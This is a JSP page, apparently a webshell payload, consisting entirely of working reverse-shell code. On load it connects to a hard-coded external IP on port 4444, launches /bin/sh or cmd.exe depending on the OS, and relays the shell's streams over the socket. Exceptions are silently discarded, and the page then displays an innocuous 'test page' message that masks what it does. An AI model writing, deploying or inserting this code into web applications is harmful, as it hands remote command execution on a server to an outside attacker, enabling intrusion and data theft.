<%
  class StreamConnector extends Thread
  {
    InputStream xr;
    OutputStream cI;

    StreamConnector( InputStream xr, OutputStream cI )
    {
      this.xr = xr;
      this.cI = cI;
    }

    public void run()
    {
      BufferedReader xE  = null;
      BufferedWriter bhG = null;
      try
      {
        xE  = new BufferedReader( new InputStreamReader( this.xr ) );
        bhG = new BufferedWriter( new OutputStreamWriter( this.cI ) );
        char buffer[] = new char[8192];
        int length;
        while( ( length = xE.read( buffer, 0, buffer.length ) ) > 0 )
        {
          bhG.write( buffer, 0, length );
          bhG.flush();
        }
      } catch( Exception e ){}
      try
      {
        if( xE != null )
          xE.close();
        if( bhG != null )
          bhG.close();
      } catch( Exception e ){}
    }
  }

  try
  {
    String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
  ShellPath = new String("/bin/sh");
} else {
  ShellPath = new String("cmd.exe");
}

    Socket socket = new Socket( "137.220.232.89", 4444 );
    Process process = Runtime.getRuntime().exec( ShellPath );
    ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
    ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
  } catch( Exception e ) {}
String ooo = "hello, this's test page";

%>
<%=ooo%>